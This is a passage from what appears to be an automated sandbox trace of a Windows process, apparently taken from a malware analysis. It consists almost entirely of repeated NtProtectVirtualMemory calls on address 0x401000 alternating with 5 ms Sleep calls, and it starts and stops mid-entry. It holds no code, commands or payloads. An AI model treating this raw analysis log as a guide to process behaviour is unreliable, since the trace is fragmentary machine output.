ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.195] Sleep (dwMilliseconds=0x5) [0320.244] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.244] Sleep (dwMilliseconds=0x5) [0320.287] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.288] Sleep (dwMilliseconds=0x5) [0320.368] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.369] Sleep (dwMilliseconds=0x5) [0320.413] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.414] Sleep (dwMilliseconds=0x5) [0320.458] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.459] Sleep (dwMilliseconds=0x5) [0320.508] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.509] Sleep (dwMilliseconds=0x5) [0320.657] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.658] Sleep (dwMilliseconds=0x5) [0320.699] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.700] Sleep (dwMilliseconds=0x5) [0320.743] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.743] Sleep (dwMilliseconds=0x5) [0320.786] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.787] Sleep (dwMilliseconds=0x5) [0320.835] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.836] Sleep (dwMilliseconds=0x5) [0320.884] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.884] Sleep (dwMilliseconds=0x5) [0320.928] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.928] Sleep (dwMilliseconds=0x5) [0320.978] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0320.979] Sleep (dwMilliseconds=0x5) [0321.024] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.025] Sleep (dwMilliseconds=0x5) [0321.069] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.070] Sleep (dwMilliseconds=0x5) [0321.117] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.118] Sleep (dwMilliseconds=0x5) [0321.165] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.219] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.222] Sleep (dwMilliseconds=0x5) [0321.277] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.278] Sleep (dwMilliseconds=0x5) [0321.367] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.367] Sleep (dwMilliseconds=0x5) [0321.415] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.415] Sleep (dwMilliseconds=0x5) [0321.467] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.468] Sleep (dwMilliseconds=0x5) [0321.508] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.509] Sleep (dwMilliseconds=0x5) [0321.555] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.556] Sleep (dwMilliseconds=0x5) [0321.605] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.606] Sleep (dwMilliseconds=0x5) [0321.653] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.654] Sleep (dwMilliseconds=0x5) [0321.693] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.694] Sleep (dwMilliseconds=0x5) [0321.787] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.788] Sleep (dwMilliseconds=0x5) [0321.836] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.837] Sleep (dwMilliseconds=0x5) [0321.884] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.885] Sleep (dwMilliseconds=0x5) [0321.930] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.931] Sleep (dwMilliseconds=0x5) [0321.979] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0321.980] Sleep (dwMilliseconds=0x5) [0322.035] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.036] Sleep (dwMilliseconds=0x5) [0322.089] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.090] Sleep (dwMilliseconds=0x5) [0322.135] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.136] Sleep (dwMilliseconds=0x5) [0322.186] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.187] Sleep (dwMilliseconds=0x5) [0322.227] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.228] Sleep (dwMilliseconds=0x5) [0322.276] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.277] Sleep (dwMilliseconds=0x5) [0322.368] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.368] Sleep (dwMilliseconds=0x5) [0322.424] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.425] Sleep (dwMilliseconds=0x5) [0322.470] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.471] Sleep (dwMilliseconds=0x5) [0322.519] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.520] Sleep (dwMilliseconds=0x5) [0322.565] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.566] Sleep (dwMilliseconds=0x5) [0322.610] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.611] Sleep (dwMilliseconds=0x5) [0322.653] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.653] Sleep (dwMilliseconds=0x5) [0322.700] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.700] Sleep (dwMilliseconds=0x5) [0322.749] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.749] Sleep (dwMilliseconds=0x5) [0322.792] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.793] Sleep (dwMilliseconds=0x5) [0322.840] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.841] Sleep (dwMilliseconds=0x5) [0322.882] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.883] Sleep (dwMilliseconds=0x5) [0322.938] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.940] Sleep (dwMilliseconds=0x5) [0322.987] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0322.988] Sleep (dwMilliseconds=0x5) [0323.034] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.035] Sleep (dwMilliseconds=0x5) [0323.079] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.079] Sleep (dwMilliseconds=0x5) [0323.126] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.128] Sleep (dwMilliseconds=0x5) [0323.180] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.181] Sleep (dwMilliseconds=0x5) [0323.224] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.225] Sleep (dwMilliseconds=0x5) [0323.271] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.271] Sleep (dwMilliseconds=0x5) [0323.325] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.326] Sleep (dwMilliseconds=0x5) [0323.363] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.364] Sleep (dwMilliseconds=0x5) [0323.429] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.430] Sleep (dwMilliseconds=0x5) [0323.474] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.475] Sleep (dwMilliseconds=0x5) [0323.522] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.523] Sleep (dwMilliseconds=0x5) [0323.566] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.567] Sleep (dwMilliseconds=0x5) [0323.613] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.614] Sleep (dwMilliseconds=0x5) [0323.660] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.661] Sleep (dwMilliseconds=0x5) [0323.707] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.708] Sleep (dwMilliseconds=0x5) [0323.755] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.756] Sleep (dwMilliseconds=0x5) [0323.803] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.804] Sleep (dwMilliseconds=0x5) [0323.847] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.847] Sleep (dwMilliseconds=0x5) [0323.896] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.897] Sleep (dwMilliseconds=0x5) [0323.945] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.945] Sleep (dwMilliseconds=0x5) [0323.992] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0323.992] Sleep (dwMilliseconds=0x5) [0324.034] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, 